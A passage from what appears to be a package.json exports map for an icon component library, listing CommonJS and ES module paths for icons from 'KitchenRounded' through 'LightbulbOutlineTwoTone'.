\"./KitchenRounded\": {\n      \"require\": \"./KitchenRounded.js\",\n      \"import\": \"./KitchenRounded.mjs\",\n      \"default\": \"./KitchenRounded.mjs\"\n    },\n    \"./KitchenSharp\": {\n      \"require\": \"./KitchenSharp.js\",\n      \"import\": \"./KitchenSharp.mjs\",\n      \"default\": \"./KitchenSharp.mjs\"\n    },\n    \"./KitchenTwoTone\": {\n      \"require\": \"./KitchenTwoTone.js\",\n      \"import\": \"./KitchenTwoTone.mjs\",\n      \"default\": \"./KitchenTwoTone.mjs\"\n    },\n    \"./Kitesurfing\": {\n      \"require\": \"./Kitesurfing.js\",\n      \"import\": \"./Kitesurfing.mjs\",\n      \"default\": \"./Kitesurfing.mjs\"\n    },\n    \"./KitesurfingOutlined\": {\n      \"require\": \"./KitesurfingOutlined.js\",\n      \"import\": \"./KitesurfingOutlined.mjs\",\n      \"default\": \"./KitesurfingOutlined.mjs\"\n    },\n    \"./KitesurfingRounded\": {\n      \"require\": \"./KitesurfingRounded.js\",\n      \"import\": \"./KitesurfingRounded.mjs\",\n      \"default\": \"./KitesurfingRounded.mjs\"\n    },\n    \"./KitesurfingSharp\": {\n      \"require\": \"./KitesurfingSharp.js\",\n      \"import\": \"./KitesurfingSharp.mjs\",\n      \"default\": \"./KitesurfingSharp.mjs\"\n    },\n    \"./KitesurfingTwoTone\": {\n      \"require\": \"./KitesurfingTwoTone.js\",\n      \"import\": \"./KitesurfingTwoTone.mjs\",\n      \"default\": \"./KitesurfingTwoTone.mjs\"\n    },\n    \"./Label\": {\n      \"require\": \"./Label.js\",\n      \"import\": \"./Label.mjs\",\n      \"default\": \"./Label.mjs\"\n    },\n    \"./LabelImportant\": {\n      \"require\": \"./LabelImportant.js\",\n      \"import\": \"./LabelImportant.mjs\",\n      \"default\": \"./LabelImportant.mjs\"\n    },\n    \"./LabelImportantOutline\": {\n      \"require\": \"./LabelImportantOutline.js\",\n      \"import\": \"./LabelImportantOutline.mjs\",\n      \"default\": \"./LabelImportantOutline.mjs\"\n    },\n    \"./LabelImportantOutlineRounded\": {\n      \"require\": \"./LabelImportantOutlineRounded.js\",\n      \"import\": \"./LabelImportantOutlineRounded.mjs\",\n      \"default\": \"./LabelImportantOutlineRounded.mjs\"\n    },\n    \"./LabelImportantOutlineSharp\": {\n      \"require\": \"./LabelImportantOutlineSharp.js\",\n      \"import\": \"./LabelImportantOutlineSharp.mjs\",\n      \"default\": \"./LabelImportantOutlineSharp.mjs\"\n    },\n    \"./LabelImportantOutlineTwoTone\": {\n      \"require\": \"./LabelImportantOutlineTwoTone.js\",\n      \"import\": \"./LabelImportantOutlineTwoTone.mjs\",\n      \"default\": \"./LabelImportantOutlineTwoTone.mjs\"\n    },\n    \"./LabelImportantOutlined\": {\n      \"require\": \"./LabelImportantOutlined.js\",\n      \"import\": \"./LabelImportantOutlined.mjs\",\n      \"default\": \"./LabelImportantOutlined.mjs\"\n    },\n    \"./LabelImportantRounded\": {\n      \"require\": \"./LabelImportantRounded.js\",\n      \"import\": \"./LabelImportantRounded.mjs\",\n      \"default\": \"./LabelImportantRounded.mjs\"\n    },\n    \"./LabelImportantSharp\": {\n      \"require\": \"./LabelImportantSharp.js\",\n      \"import\": \"./LabelImportantSharp.mjs\",\n      \"default\": \"./LabelImportantSharp.mjs\"\n    },\n    \"./LabelImportantTwoTone\": {\n      \"require\": \"./LabelImportantTwoTone.js\",\n      \"import\": \"./LabelImportantTwoTone.mjs\",\n      \"default\": \"./LabelImportantTwoTone.mjs\"\n    },\n    \"./LabelOff\": {\n      \"require\": \"./LabelOff.js\",\n      \"import\": \"./LabelOff.mjs\",\n      \"default\": \"./LabelOff.mjs\"\n    },\n    \"./LabelOffOutlined\": {\n      \"require\": \"./LabelOffOutlined.js\",\n      \"import\": \"./LabelOffOutlined.mjs\",\n      \"default\": \"./LabelOffOutlined.mjs\"\n    },\n    \"./LabelOffRounded\": {\n      \"require\": \"./LabelOffRounded.js\",\n      \"import\": \"./LabelOffRounded.mjs\",\n      \"default\": \"./LabelOffRounded.mjs\"\n    },\n    \"./LabelOffSharp\": {\n      \"require\": \"./LabelOffSharp.js\",\n      \"import\": \"./LabelOffSharp.mjs\",\n      \"default\": \"./LabelOffSharp.mjs\"\n    },\n    \"./LabelOffTwoTone\": {\n      \"require\": \"./LabelOffTwoTone.js\",\n      \"import\": \"./LabelOffTwoTone.mjs\",\n      \"default\": \"./LabelOffTwoTone.mjs\"\n    },\n    \"./LabelOutlined\": {\n      \"require\": \"./LabelOutlined.js\",\n      \"import\": \"./LabelOutlined.mjs\",\n      \"default\": \"./LabelOutlined.mjs\"\n    },\n    \"./LabelRounded\": {\n      \"require\": \"./LabelRounded.js\",\n      \"import\": \"./LabelRounded.mjs\",\n      \"default\": \"./LabelRounded.mjs\"\n    },\n    \"./LabelSharp\": {\n      \"require\": \"./LabelSharp.js\",\n      \"import\": \"./LabelSharp.mjs\",\n      \"default\": \"./LabelSharp.mjs\"\n    },\n    \"./LabelTwoTone\": {\n      \"require\": \"./LabelTwoTone.js\",\n      \"import\": \"./LabelTwoTone.mjs\",\n      \"default\": \"./LabelTwoTone.mjs\"\n    },\n    \"./Lan\": {\n      \"require\": \"./Lan.js\",\n      \"import\": \"./Lan.mjs\",\n      \"default\": \"./Lan.mjs\"\n    },\n    \"./LanOutlined\": {\n      \"require\": \"./LanOutlined.js\",\n      \"import\": \"./LanOutlined.mjs\",\n      \"default\": \"./LanOutlined.mjs\"\n    },\n    \"./LanRounded\": {\n      \"require\": \"./LanRounded.js\",\n      \"import\": \"./LanRounded.mjs\",\n      \"default\": \"./LanRounded.mjs\"\n    },\n    \"./LanSharp\": {\n      \"require\": \"./LanSharp.js\",\n      \"import\": \"./LanSharp.mjs\",\n      \"default\": \"./LanSharp.mjs\"\n    },\n    \"./LanTwoTone\": {\n      \"require\": \"./LanTwoTone.js\",\n      \"import\": \"./LanTwoTone.mjs\",\n      \"default\": \"./LanTwoTone.mjs\"\n    },\n    \"./Landscape\": {\n      \"require\": \"./Landscape.js\",\n      \"import\": \"./Landscape.mjs\",\n      \"default\": \"./Landscape.mjs\"\n    },\n    \"./LandscapeOutlined\": {\n      \"require\": \"./LandscapeOutlined.js\",\n      \"import\": \"./LandscapeOutlined.mjs\",\n      \"default\": \"./LandscapeOutlined.mjs\"\n    },\n    \"./LandscapeRounded\": {\n      \"require\": \"./LandscapeRounded.js\",\n      \"import\": \"./LandscapeRounded.mjs\",\n      \"default\": \"./LandscapeRounded.mjs\"\n    },\n    \"./LandscapeSharp\": {\n      \"require\": \"./LandscapeSharp.js\",\n      \"import\": \"./LandscapeSharp.mjs\",\n      \"default\": \"./LandscapeSharp.mjs\"\n    },\n    \"./LandscapeTwoTone\": {\n      \"require\": \"./LandscapeTwoTone.js\",\n      \"import\": \"./LandscapeTwoTone.mjs\",\n      \"default\": \"./LandscapeTwoTone.mjs\"\n    },\n    \"./Landslide\": {\n      \"require\": \"./Landslide.js\",\n      \"import\": \"./Landslide.mjs\",\n      \"default\": \"./Landslide.mjs\"\n    },\n    \"./LandslideOutlined\": {\n      \"require\": \"./LandslideOutlined.js\",\n      \"import\": \"./LandslideOutlined.mjs\",\n      \"default\": \"./LandslideOutlined.mjs\"\n    },\n    \"./LandslideRounded\": {\n      \"require\": \"./LandslideRounded.js\",\n      \"import\": \"./LandslideRounded.mjs\",\n      \"default\": \"./LandslideRounded.mjs\"\n    },\n    \"./LandslideSharp\": {\n      \"require\": \"./LandslideSharp.js\",\n      \"import\": \"./LandslideSharp.mjs\",\n      \"default\": \"./LandslideSharp.mjs\"\n    },\n    \"./LandslideTwoTone\": {\n      \"require\": \"./LandslideTwoTone.js\",\n      \"import\": \"./LandslideTwoTone.mjs\",\n      \"default\": \"./LandslideTwoTone.mjs\"\n    },\n    \"./Language\": {\n      \"require\": \"./Language.js\",\n      \"import\": \"./Language.mjs\",\n      \"default\": \"./Language.mjs\"\n    },\n    \"./LanguageOutlined\": {\n      \"import\": \"./LanguageOutlined.mjs\",\n      \"require\": \"./LanguageOutlined.js\",\n      \"default\": \"./LanguageOutlined.mjs\"\n    },\n    \"./LanguageRounded\": {\n      \"import\": \"./LanguageRounded.mjs\",\n      \"require\": \"./LanguageRounded.js\",\n      \"default\": \"./LanguageRounded.mjs\"\n    },\n    \"./LanguageSharp\": {\n      \"import\": \"./LanguageSharp.mjs\",\n      \"require\": \"./LanguageSharp.js\",\n      \"default\": \"./LanguageSharp.mjs\"\n    },\n    \"./LanguageTwoTone\": {\n      \"import\": \"./LanguageTwoTone.mjs\",\n      \"require\": \"./LanguageTwoTone.js\",\n      \"default\": \"./LanguageTwoTone.mjs\"\n    },\n    \"./Laptop\": {\n      \"import\": \"./Laptop.mjs\",\n      \"require\": \"./Laptop.js\",\n      \"default\": \"./Laptop.mjs\"\n    },\n    \"./LaptopChromebook\": {\n      \"import\": \"./LaptopChromebook.mjs\",\n      \"require\": \"./LaptopChromebook.js\",\n      \"default\": \"./LaptopChromebook.mjs\"\n    },\n    \"./LaptopChromebookOutlined\": {\n      \"import\": \"./LaptopChromebookOutlined.mjs\",\n      \"require\": \"./LaptopChromebookOutlined.js\",\n      \"default\": \"./LaptopChromebookOutlined.mjs\"\n    },\n    \"./LaptopChromebookRounded\": {\n      \"import\": \"./LaptopChromebookRounded.mjs\",\n      \"require\": \"./LaptopChromebookRounded.js\",\n      \"default\": \"./LaptopChromebookRounded.mjs\"\n    },\n    \"./LaptopChromebookSharp\": {\n      \"import\": \"./LaptopChromebookSharp.mjs\",\n      \"require\": \"./LaptopChromebookSharp.js\",\n      \"default\": \"./LaptopChromebookSharp.mjs\"\n    },\n    \"./LaptopChromebookTwoTone\": {\n      \"import\": \"./LaptopChromebookTwoTone.mjs\",\n      \"require\": \"./LaptopChromebookTwoTone.js\",\n      \"default\": \"./LaptopChromebookTwoTone.mjs\"\n    },\n    \"./LaptopMac\": {\n      \"import\": \"./LaptopMac.mjs\",\n      \"require\": \"./LaptopMac.js\",\n      \"default\": \"./LaptopMac.mjs\"\n    },\n    \"./LaptopMacOutlined\": {\n      \"import\": \"./LaptopMacOutlined.mjs\",\n      \"require\": \"./LaptopMacOutlined.js\",\n      \"default\": \"./LaptopMacOutlined.mjs\"\n    },\n    \"./LaptopMacRounded\": {\n      \"import\": \"./LaptopMacRounded.mjs\",\n      \"require\": \"./LaptopMacRounded.js\",\n      \"default\": \"./LaptopMacRounded.mjs\"\n    },\n    \"./LaptopMacSharp\": {\n      \"import\": \"./LaptopMacSharp.mjs\",\n      \"require\": \"./LaptopMacSharp.js\",\n      \"default\": \"./LaptopMacSharp.mjs\"\n    },\n    \"./LaptopMacTwoTone\": {\n      \"import\": \"./LaptopMacTwoTone.mjs\",\n      \"require\": \"./LaptopMacTwoTone.js\",\n      \"default\": \"./LaptopMacTwoTone.mjs\"\n    },\n    \"./LaptopOutlined\": {\n      \"import\": \"./LaptopOutlined.mjs\",\n      \"require\": \"./LaptopOutlined.js\",\n      \"default\": \"./LaptopOutlined.mjs\"\n    },\n    \"./LaptopRounded\": {\n      \"import\": \"./LaptopRounded.mjs\",\n      \"require\": \"./LaptopRounded.js\",\n      \"default\": \"./LaptopRounded.mjs\"\n    },\n    \"./LaptopSharp\": {\n      \"import\": \"./LaptopSharp.mjs\",\n      \"require\": \"./LaptopSharp.js\",\n      \"default\": \"./LaptopSharp.mjs\"\n    },\n    \"./LaptopTwoTone\": {\n      \"import\": \"./LaptopTwoTone.mjs\",\n      \"require\": \"./LaptopTwoTone.js\",\n      \"default\": \"./LaptopTwoTone.mjs\"\n    },\n    \"./LaptopWindows\": {\n      \"import\": \"./LaptopWindows.mjs\",\n      \"require\": \"./LaptopWindows.js\",\n      \"default\": \"./LaptopWindows.mjs\"\n    },\n    \"./LaptopWindowsOutlined\": {\n      \"import\": \"./LaptopWindowsOutlined.mjs\",\n      \"require\": \"./LaptopWindowsOutlined.js\",\n      \"default\": \"./LaptopWindowsOutlined.mjs\"\n    },\n    \"./LaptopWindowsRounded\": {\n      \"import\": \"./LaptopWindowsRounded.mjs\",\n      \"require\": \"./LaptopWindowsRounded.js\",\n      \"default\": \"./LaptopWindowsRounded.mjs\"\n    },\n    \"./LaptopWindowsSharp\": {\n      \"import\": \"./LaptopWindowsSharp.mjs\",\n      \"require\": \"./LaptopWindowsSharp.js\",\n      \"default\": \"./LaptopWindowsSharp.mjs\"\n    },\n    \"./LaptopWindowsTwoTone\": {\n      \"import\": \"./LaptopWindowsTwoTone.mjs\",\n      \"require\": \"./LaptopWindowsTwoTone.js\",\n      \"default\": \"./LaptopWindowsTwoTone.mjs\"\n    },\n    \"./LastPage\": {\n      \"import\": \"./LastPage.mjs\",\n      \"require\": \"./LastPage.js\",\n      \"default\": \"./LastPage.mjs\"\n    },\n    \"./LastPageOutlined\": {\n      \"import\": \"./LastPageOutlined.mjs\",\n      \"require\": \"./LastPageOutlined.js\",\n      \"default\": \"./LastPageOutlined.mjs\"\n    },\n    \"./LastPageRounded\": {\n      \"import\": \"./LastPageRounded.mjs\",\n      \"require\": \"./LastPageRounded.js\",\n      \"default\": \"./LastPageRounded.mjs\"\n    },\n    \"./LastPageSharp\": {\n      \"import\": \"./LastPageSharp.mjs\",\n      \"require\": \"./LastPageSharp.js\",\n      \"default\": \"./LastPageSharp.mjs\"\n    },\n    \"./LastPageTwoTone\": {\n      \"import\": \"./LastPageTwoTone.mjs\",\n      \"require\": \"./LastPageTwoTone.js\",\n      \"default\": \"./LastPageTwoTone.mjs\"\n    },\n    \"./Launch\": {\n      \"import\": \"./Launch.mjs\",\n      \"require\": \"./Launch.js\",\n      \"default\": \"./Launch.mjs\"\n    },\n    \"./LaunchOutlined\": {\n      \"require\": \"./LaunchOutlined.js\",\n      \"import\": \"./LaunchOutlined.mjs\",\n      \"default\": \"./LaunchOutlined.mjs\"\n    },\n    \"./LaunchRounded\": {\n      \"require\": \"./LaunchRounded.js\",\n      \"import\": \"./LaunchRounded.mjs\",\n      \"default\": \"./LaunchRounded.mjs\"\n    },\n    \"./LaunchSharp\": {\n      \"require\": \"./LaunchSharp.js\",\n      \"import\": \"./LaunchSharp.mjs\",\n      \"default\": \"./LaunchSharp.mjs\"\n    },\n    \"./LaunchTwoTone\": {\n      \"require\": \"./LaunchTwoTone.js\",\n      \"import\": \"./LaunchTwoTone.mjs\",\n      \"default\": \"./LaunchTwoTone.mjs\"\n    },\n    \"./Layers\": {\n      \"require\": \"./Layers.js\",\n      \"import\": \"./Layers.mjs\",\n      \"default\": \"./Layers.mjs\"\n    },\n    \"./LayersClear\": {\n      \"require\": \"./LayersClear.js\",\n      \"import\": \"./LayersClear.mjs\",\n      \"default\": \"./LayersClear.mjs\"\n    },\n    \"./LayersClearOutlined\": {\n      \"require\": \"./LayersClearOutlined.js\",\n      \"import\": \"./LayersClearOutlined.mjs\",\n      \"default\": \"./LayersClearOutlined.mjs\"\n    },\n    \"./LayersClearRounded\": {\n      \"require\": \"./LayersClearRounded.js\",\n      \"import\": \"./LayersClearRounded.mjs\",\n      \"default\": \"./LayersClearRounded.mjs\"\n    },\n    \"./LayersClearSharp\": {\n      \"require\": \"./LayersClearSharp.js\",\n      \"import\": \"./LayersClearSharp.mjs\",\n      \"default\": \"./LayersClearSharp.mjs\"\n    },\n    \"./LayersClearTwoTone\": {\n      \"require\": \"./LayersClearTwoTone.js\",\n      \"import\": \"./LayersClearTwoTone.mjs\",\n      \"default\": \"./LayersClearTwoTone.mjs\"\n    },\n    \"./LayersOutlined\": {\n      \"require\": \"./LayersOutlined.js\",\n      \"import\": \"./LayersOutlined.mjs\",\n      \"default\": \"./LayersOutlined.mjs\"\n    },\n    \"./LayersRounded\": {\n      \"require\": \"./LayersRounded.js\",\n      \"import\": \"./LayersRounded.mjs\",\n      \"default\": \"./LayersRounded.mjs\"\n    },\n    \"./LayersSharp\": {\n      \"require\": \"./LayersSharp.js\",\n      \"import\": \"./LayersSharp.mjs\",\n      \"default\": \"./LayersSharp.mjs\"\n    },\n    \"./LayersTwoTone\": {\n      \"require\": \"./LayersTwoTone.js\",\n      \"import\": \"./LayersTwoTone.mjs\",\n      \"default\": \"./LayersTwoTone.mjs\"\n    },\n    \"./Leaderboard\": {\n      \"require\": \"./Leaderboard.js\",\n      \"import\": \"./Leaderboard.mjs\",\n      \"default\": \"./Leaderboard.mjs\"\n    },\n    \"./LeaderboardOutlined\": {\n      \"require\": \"./LeaderboardOutlined.js\",\n      \"import\": \"./LeaderboardOutlined.mjs\",\n      \"default\": \"./LeaderboardOutlined.mjs\"\n    },\n    \"./LeaderboardRounded\": {\n      \"require\": \"./LeaderboardRounded.js\",\n      \"import\": \"./LeaderboardRounded.mjs\",\n      \"default\": \"./LeaderboardRounded.mjs\"\n    },\n    \"./LeaderboardSharp\": {\n      \"require\": \"./LeaderboardSharp.js\",\n      \"import\": \"./LeaderboardSharp.mjs\",\n      \"default\": \"./LeaderboardSharp.mjs\"\n    },\n    \"./LeaderboardTwoTone\": {\n      \"require\": \"./LeaderboardTwoTone.js\",\n      \"import\": \"./LeaderboardTwoTone.mjs\",\n      \"default\": \"./LeaderboardTwoTone.mjs\"\n    },\n    \"./LeakAdd\": {\n      \"require\": \"./LeakAdd.js\",\n      \"import\": \"./LeakAdd.mjs\",\n      \"default\": \"./LeakAdd.mjs\"\n    },\n    \"./LeakAddOutlined\": {\n      \"require\": \"./LeakAddOutlined.js\",\n      \"import\": \"./LeakAddOutlined.mjs\",\n      \"default\": \"./LeakAddOutlined.mjs\"\n    },\n    \"./LeakAddRounded\": {\n      \"require\": \"./LeakAddRounded.js\",\n      \"import\": \"./LeakAddRounded.mjs\",\n      \"default\": \"./LeakAddRounded.mjs\"\n    },\n    \"./LeakAddSharp\": {\n      \"require\": \"./LeakAddSharp.js\",\n      \"import\": \"./LeakAddSharp.mjs\",\n      \"default\": \"./LeakAddSharp.mjs\"\n    },\n    \"./LeakAddTwoTone\": {\n      \"require\": \"./LeakAddTwoTone.js\",\n      \"import\": \"./LeakAddTwoTone.mjs\",\n      \"default\": \"./LeakAddTwoTone.mjs\"\n    },\n    \"./LeakRemove\": {\n      \"require\": \"./LeakRemove.js\",\n      \"import\": \"./LeakRemove.mjs\",\n      \"default\": \"./LeakRemove.mjs\"\n    },\n    \"./LeakRemoveOutlined\": {\n      \"require\": \"./LeakRemoveOutlined.js\",\n      \"import\": \"./LeakRemoveOutlined.mjs\",\n      \"default\": \"./LeakRemoveOutlined.mjs\"\n    },\n    \"./LeakRemoveRounded\": {\n      \"require\": \"./LeakRemoveRounded.js\",\n      \"import\": \"./LeakRemoveRounded.mjs\",\n      \"default\": \"./LeakRemoveRounded.mjs\"\n    },\n    \"./LeakRemoveSharp\": {\n      \"require\": \"./LeakRemoveSharp.js\",\n      \"import\": \"./LeakRemoveSharp.mjs\",\n      \"default\": \"./LeakRemoveSharp.mjs\"\n    },\n    \"./LeakRemoveTwoTone\": {\n      \"require\": \"./LeakRemoveTwoTone.js\",\n      \"import\": \"./LeakRemoveTwoTone.mjs\",\n      \"default\": \"./LeakRemoveTwoTone.mjs\"\n    },\n    \"./LegendToggle\": {\n      \"require\": \"./LegendToggle.js\",\n      \"import\": \"./LegendToggle.mjs\",\n      \"default\": \"./LegendToggle.mjs\"\n    },\n    \"./LegendToggleOutlined\": {\n      \"require\": \"./LegendToggleOutlined.js\",\n      \"import\": \"./LegendToggleOutlined.mjs\",\n      \"default\": \"./LegendToggleOutlined.mjs\"\n    },\n    \"./LegendToggleRounded\": {\n      \"require\": \"./LegendToggleRounded.js\",\n      \"import\": \"./LegendToggleRounded.mjs\",\n      \"default\": \"./LegendToggleRounded.mjs\"\n    },\n    \"./LegendToggleSharp\": {\n      \"require\": \"./LegendToggleSharp.js\",\n      \"import\": \"./LegendToggleSharp.mjs\",\n      \"default\": \"./LegendToggleSharp.mjs\"\n    },\n    \"./LegendToggleTwoTone\": {\n      \"import\": \"./LegendToggleTwoTone.mjs\",\n      \"require\": \"./LegendToggleTwoTone.js\",\n      \"default\": \"./LegendToggleTwoTone.mjs\"\n    },\n    \"./Lens\": {\n      \"import\": \"./Lens.mjs\",\n      \"require\": \"./Lens.js\",\n      \"default\": \"./Lens.mjs\"\n    },\n    \"./LensBlur\": {\n      \"require\": \"./LensBlur.js\",\n      \"import\": \"./LensBlur.mjs\",\n      \"default\": \"./LensBlur.mjs\"\n    },\n    \"./LensBlurOutlined\": {\n      \"require\": \"./LensBlurOutlined.js\",\n      \"import\": \"./LensBlurOutlined.mjs\",\n      \"default\": \"./LensBlurOutlined.mjs\"\n    },\n    \"./LensBlurRounded\": {\n      \"require\": \"./LensBlurRounded.js\",\n      \"import\": \"./LensBlurRounded.mjs\",\n      \"default\": \"./LensBlurRounded.mjs\"\n    },\n    \"./LensBlurSharp\": {\n      \"import\": \"./LensBlurSharp.mjs\",\n      \"require\": \"./LensBlurSharp.js\",\n      \"default\": \"./LensBlurSharp.mjs\"\n    },\n    \"./LensBlurTwoTone\": {\n      \"import\": \"./LensBlurTwoTone.mjs\",\n      \"require\": \"./LensBlurTwoTone.js\",\n      \"default\": \"./LensBlurTwoTone.mjs\"\n    },\n    \"./LensOutlined\": {\n      \"require\": \"./LensOutlined.js\",\n      \"import\": \"./LensOutlined.mjs\",\n      \"default\": \"./LensOutlined.mjs\"\n    },\n    \"./LensRounded\": {\n      \"require\": \"./LensRounded.js\",\n      \"import\": \"./LensRounded.mjs\",\n      \"default\": \"./LensRounded.mjs\"\n    },\n    \"./LensSharp\": {\n      \"require\": \"./LensSharp.js\",\n      \"import\": \"./LensSharp.mjs\",\n      \"default\": \"./LensSharp.mjs\"\n    },\n    \"./LensTwoTone\": {\n      \"require\": \"./LensTwoTone.js\",\n      \"import\": \"./LensTwoTone.mjs\",\n      \"default\": \"./LensTwoTone.mjs\"\n    },\n    \"./LibraryAdd\": {\n      \"require\": \"./LibraryAdd.js\",\n      \"import\": \"./LibraryAdd.mjs\",\n      \"default\": \"./LibraryAdd.mjs\"\n    },\n    \"./LibraryAddCheck\": {\n      \"import\": \"./LibraryAddCheck.mjs\",\n      \"require\": \"./LibraryAddCheck.js\",\n      \"default\": \"./LibraryAddCheck.mjs\"\n    },\n    \"./LibraryAddCheckOutlined\": {\n      \"import\": \"./LibraryAddCheckOutlined.mjs\",\n      \"require\": \"./LibraryAddCheckOutlined.js\",\n      \"default\": \"./LibraryAddCheckOutlined.mjs\"\n    },\n    \"./LibraryAddCheckRounded\": {\n      \"import\": \"./LibraryAddCheckRounded.mjs\",\n      \"require\": \"./LibraryAddCheckRounded.js\",\n      \"default\": \"./LibraryAddCheckRounded.mjs\"\n    },\n    \"./LibraryAddCheckSharp\": {\n      \"import\": \"./LibraryAddCheckSharp.mjs\",\n      \"require\": \"./LibraryAddCheckSharp.js\",\n      \"default\": \"./LibraryAddCheckSharp.mjs\"\n    },\n    \"./LibraryAddCheckTwoTone\": {\n      \"import\": \"./LibraryAddCheckTwoTone.mjs\",\n      \"require\": \"./LibraryAddCheckTwoTone.js\",\n      \"default\": \"./LibraryAddCheckTwoTone.mjs\"\n    },\n    \"./LibraryAddOutlined\": {\n      \"import\": \"./LibraryAddOutlined.mjs\",\n      \"require\": \"./LibraryAddOutlined.js\",\n      \"default\": \"./LibraryAddOutlined.mjs\"\n    },\n    \"./LibraryAddRounded\": {\n      \"import\": \"./LibraryAddRounded.mjs\",\n      \"require\": \"./LibraryAddRounded.js\",\n      \"default\": \"./LibraryAddRounded.mjs\"\n    },\n    \"./LibraryAddSharp\": {\n      \"import\": \"./LibraryAddSharp.mjs\",\n      \"require\": \"./LibraryAddSharp.js\",\n      \"default\": \"./LibraryAddSharp.mjs\"\n    },\n    \"./LibraryAddTwoTone\": {\n      \"import\": \"./LibraryAddTwoTone.mjs\",\n      \"require\": \"./LibraryAddTwoTone.js\",\n      \"default\": \"./LibraryAddTwoTone.mjs\"\n    },\n    \"./LibraryBooks\": {\n      \"import\": \"./LibraryBooks.mjs\",\n      \"require\": \"./LibraryBooks.js\",\n      \"default\": \"./LibraryBooks.mjs\"\n    },\n    \"./LibraryBooksOutlined\": {\n      \"import\": \"./LibraryBooksOutlined.mjs\",\n      \"require\": \"./LibraryBooksOutlined.js\",\n      \"default\": \"./LibraryBooksOutlined.mjs\"\n    },\n    \"./LibraryBooksRounded\": {\n      \"import\": \"./LibraryBooksRounded.mjs\",\n      \"require\": \"./LibraryBooksRounded.js\",\n      \"default\": \"./LibraryBooksRounded.mjs\"\n    },\n    \"./LibraryBooksSharp\": {\n      \"import\": \"./LibraryBooksSharp.mjs\",\n      \"require\": \"./LibraryBooksSharp.js\",\n      \"default\": \"./LibraryBooksSharp.mjs\"\n    },\n    \"./LibraryBooksTwoTone\": {\n      \"import\": \"./LibraryBooksTwoTone.mjs\",\n      \"require\": \"./LibraryBooksTwoTone.js\",\n      \"default\": \"./LibraryBooksTwoTone.mjs\"\n    },\n    \"./LibraryMusic\": {\n      \"import\": \"./LibraryMusic.mjs\",\n      \"require\": \"./LibraryMusic.js\",\n      \"default\": \"./LibraryMusic.mjs\"\n    },\n    \"./LibraryMusicOutlined\": {\n      \"import\": \"./LibraryMusicOutlined.mjs\",\n      \"require\": \"./LibraryMusicOutlined.js\",\n      \"default\": \"./LibraryMusicOutlined.mjs\"\n    },\n    \"./LibraryMusicRounded\": {\n      \"import\": \"./LibraryMusicRounded.mjs\",\n      \"require\": \"./LibraryMusicRounded.js\",\n      \"default\": \"./LibraryMusicRounded.mjs\"\n    },\n    \"./LibraryMusicSharp\": {\n      \"import\": \"./LibraryMusicSharp.mjs\",\n      \"require\": \"./LibraryMusicSharp.js\",\n      \"default\": \"./LibraryMusicSharp.mjs\"\n    },\n    \"./LibraryMusicTwoTone\": {\n      \"import\": \"./LibraryMusicTwoTone.mjs\",\n      \"require\": \"./LibraryMusicTwoTone.js\",\n      \"default\": \"./LibraryMusicTwoTone.mjs\"\n    },\n    \"./Light\": {\n      \"import\": \"./Light.mjs\",\n      \"require\": \"./Light.js\",\n      \"default\": \"./Light.mjs\"\n    },\n    \"./LightMode\": {\n      \"require\": \"./LightMode.js\",\n      \"import\": \"./LightMode.mjs\",\n      \"default\": \"./LightMode.mjs\"\n    },\n    \"./LightModeOutlined\": {\n      \"require\": \"./LightModeOutlined.js\",\n      \"import\": \"./LightModeOutlined.mjs\",\n      \"default\": \"./LightModeOutlined.mjs\"\n    },\n    \"./LightModeRounded\": {\n      \"require\": \"./LightModeRounded.js\",\n      \"import\": \"./LightModeRounded.mjs\",\n      \"default\": \"./LightModeRounded.mjs\"\n    },\n    \"./LightModeSharp\": {\n      \"require\": \"./LightModeSharp.js\",\n      \"import\": \"./LightModeSharp.mjs\",\n      \"default\": \"./LightModeSharp.mjs\"\n    },\n    \"./LightModeTwoTone\": {\n      \"require\": \"./LightModeTwoTone.js\",\n      \"import\": \"./LightModeTwoTone.mjs\",\n      \"default\": \"./LightModeTwoTone.mjs\"\n    },\n    \"./LightOutlined\": {\n      \"require\": \"./LightOutlined.js\",\n      \"import\": \"./LightOutlined.mjs\",\n      \"default\": \"./LightOutlined.mjs\"\n    },\n    \"./LightRounded\": {\n      \"require\": \"./LightRounded.js\",\n      \"import\": \"./LightRounded.mjs\",\n      \"default\": \"./LightRounded.mjs\"\n    },\n    \"./LightSharp\": {\n      \"require\": \"./LightSharp.js\",\n      \"import\": \"./LightSharp.mjs\",\n      \"default\": \"./LightSharp.mjs\"\n    },\n    \"./LightTwoTone\": {\n      \"require\": \"./LightTwoTone.js\",\n      \"import\": \"./LightTwoTone.mjs\",\n      \"default\": \"./LightTwoTone.mjs\"\n    },\n    \"./Lightbulb\": {\n      \"require\": \"./Lightbulb.js\",\n      \"import\": \"./Lightbulb.mjs\",\n      \"default\": \"./Lightbulb.mjs\"\n    },\n    \"./LightbulbCircle\": {\n      \"require\": \"./LightbulbCircle.js\",\n      \"import\": \"./LightbulbCircle.mjs\",\n      \"default\": \"./LightbulbCircle.mjs\"\n    },\n    \"./LightbulbCircleOutlined\": {\n      \"require\": \"./LightbulbCircleOutlined.js\",\n      \"import\": \"./LightbulbCircleOutlined.mjs\",\n      \"default\": \"./LightbulbCircleOutlined.mjs\"\n    },\n    \"./LightbulbCircleRounded\": {\n      \"require\": \"./LightbulbCircleRounded.js\",\n      \"import\": \"./LightbulbCircleRounded.mjs\",\n      \"default\": \"./LightbulbCircleRounded.mjs\"\n    },\n    \"./LightbulbCircleSharp\": {\n      \"require\": \"./LightbulbCircleSharp.js\",\n      \"import\": \"./LightbulbCircleSharp.mjs\",\n      \"default\": \"./LightbulbCircleSharp.mjs\"\n    },\n    \"./LightbulbCircleTwoTone\": {\n      \"require\": \"./LightbulbCircleTwoTone.js\",\n      \"import\": \"./LightbulbCircleTwoTone.mjs\",\n      \"default\": \"./LightbulbCircleTwoTone.mjs\"\n    },\n    \"./LightbulbOutline\": {\n      \"require\": \"./LightbulbOutline.js\",\n      \"import\": \"./LightbulbOutline.mjs\",\n      \"default\": \"./LightbulbOutline.mjs\"\n    },\n    \"./LightbulbOutlineRounded\": {\n      \"require\": \"./LightbulbOutlineRounded.js\",\n      \"import\": \"./LightbulbOutlineRounded.mjs\",\n      \"default\": \"./LightbulbOutlineRounded.mjs\"\n    },\n    \"./LightbulbOutlineSharp\": {\n      \"require\": \"./LightbulbOutlineSharp.js\",\n      \"import\": \"./LightbulbOutlineSharp.mjs\",\n      \"default\": \"./LightbulbOutlineSharp.mjs\"\n    },\n    \"./LightbulbOutlineTwoTone\": {\n      \"require\": \"./LightbulbOutlineTwoTone.js\",\n      \"import\": \"./LightbulbOutlineTwoTone.mjs\",\n      \"default\": \"./LightbulbOutlineTwoTone.mjs\"\n    },\n    